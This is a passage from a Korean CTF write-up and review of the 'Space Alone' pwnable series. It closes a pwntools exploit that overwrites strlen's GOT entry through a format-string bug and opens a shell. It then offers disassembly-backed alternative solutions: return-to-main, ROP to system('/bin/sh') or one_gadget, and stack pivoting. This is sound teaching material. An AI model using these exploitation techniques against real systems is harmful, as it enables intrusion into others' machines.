payload += p64(strlen_got) + p64(strlen_got + 2)

p.sendafter(b': ', b'Lord Of Buffer overflow')
p.sendafter(b': ', payload)
p.interactive()

%n으로 4바이트를 입력하려고 한다는 것은 곧 굉장히 긴 길이의의 공백을 출력하는 것입니다. 이는 굉장히 오래 걸릴 수 있으므로 %hn을 이용하여 2바이트씩 입력하는 것을 추천드립니다.


피드백

Chapter 5와 Chapter 6이 매우 유사하기 때문에 두 챕터 모두 있을 필요는 없다는 생각이 들었습니다. 심지어 Chapter 5에 카나리가 있는데 태그에 안 적혀있는 것을 보아 출제자 간 소통의 오류가 있었던 것 같습니다.

Chapter 9에서 사실 Return to Main으로 해결 가능합니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
pwndbg> disass main
Dump of assembler code for function main:
   0x00000000004011f0 <+0>:     endbr64
   0x00000000004011f4 <+4>:     push   rbp
   0x00000000004011f5 <+5>:     mov    rbp,rsp
   0x00000000004011f8 <+8>:     sub    rsp,0x30

   중략

   0x0000000000401260 <+112>:   lea    rax,[rbp-0x30]
   0x0000000000401264 <+116>:   mov    edx,0x70
   0x0000000000401269 <+121>:   mov    rsi,rax
   0x000000000040126c <+124>:   mov    edi,0x0
   0x0000000000401271 <+129>:   call   0x401080 <read@plt>
   0x0000000000401276 <+134>:   mov    eax,0x0
   0x000000000040127b <+139>:   leave
   0x000000000040127c <+140>:   ret

loop 체크가 read 위쪽에 있기 때문에 0x401260으로 넘어가면 됩니다. 스택 피보팅을 사용하지 않을 경우 실질적으로 사용할 수 있는 payload의 길이가 0x38로 약간 짧긴 하지만 main으로 여러 번 돌아가면 충분히 쉘을 딸 수 있습니다. 여전히 sfp를 신경 써야 하는 것은 같지만 이미 짜여져 있는 코드로 돌아가는 것이고, Return to Main이 더 직관적이므로 입문자 입장에서는 조금 더 쉬운 풀이가 될 것 같습니다. 저의 풀이처럼 main을 다시 사용하지 않고 bss 영역에 전체 payload를 짜는 것을 의도하였다면, loop 체크가 read 밑에 있어야 의도와 어울릴 것 같습니다.

Chapter 10에서 libc got overwrite를 사용하지 않고 풀 수 있는 방법이 두 가지 있습니다. 첫 번째는 fsb를 이용하여 main 함수 스택 프레임의 RET을 조작하는 것입니다. one_gadget을 사용하여도 좋고, system('/bin/sh')를 호출하는 체이닝을 짜도 좋습니다. fsb를 세 번이나 주어주고, fprintf에서 길이 0x64짜리 fsb payload를 실행시켜주므로 체이닝을 설계하기 충분할 것으로 생각됩니다. 충분한 길이를 입력받고 출력해주는 fsb가 세 번이나 주어진다면 보통 항상 간단하게 풀 수 있는 방법이 존재합니다. libc got overwrite를 의도했다면, fsb 횟수를 두 번으로 줄이고 read 크기를 줄였다면 좋았을 것 같습니다. 두 번째는 bof를 이용하여 스택 피보팅으로 해결하는 것입니다.

1
2
3
4
   0x000000000000170b <+323>:   lea    rax,[rbp-0x50]
   0x000000000000170f <+327>:   mov    esi,0x0
   0x0000000000001714 <+332>:   mov    rdi,rax
   0x0000000000001717 <+335>:   call   0x1315 <check_passwd>

main에서 case 0chk_pw = check_passwd(password, 0); 코드를 gdb에서 어셈블리어로 보면 위와 같습니다. passwordrbp-0x50에 정의되어 있음을 알 수 있습니다. 그런데 check_passwd에서 0x64만큼 입력받기 때문에 bof가 발생합니다. 카나리가 있고 PIE가 켜져 있다지만, 출력 가능한 fsb로 알아낼 수 없는 정보는 없습니다. libc got overwrite보다 훨씬 직관적이기 때문에 저도 태그를 참고하지 않았다면 이 방법으로 풀었을 것입니다. fsb payload 길이를 넉넉하게 주려다가 실수한 것 같습니다.


마무리

다양한 기법을 연습할 수 있는 구성인 것 같아 입문자에게 추천하는 LOB입니다. 다만, fsblibc got overwrite는 독학으로 이해하기 다소 어려울 수 있는데, 이 글이 이해를 도왔으면 합니다. 이미 내용을 다 안다고 해서 전혀 지루하지 않았고, 문제의 퀄리티가 꽤 높아 복습의 용도로도 활용 가능하다고 생각했습니다. 다양한 환경에서 같은 익스로 풀리는 문제를 만들기 쉽지 않은데, 제작자 분들께서 오래 고민하시고 문제를 출제한 것 같습니다. 좋은 학습 자료를 만들어주신 Space Alone 제작자 분들께 감사 인사를 드리며 글을 마치겠습니다. 감사합니다.

이 기사는 저작권자의 CC BY 4.0 라이센스를 따릅니다.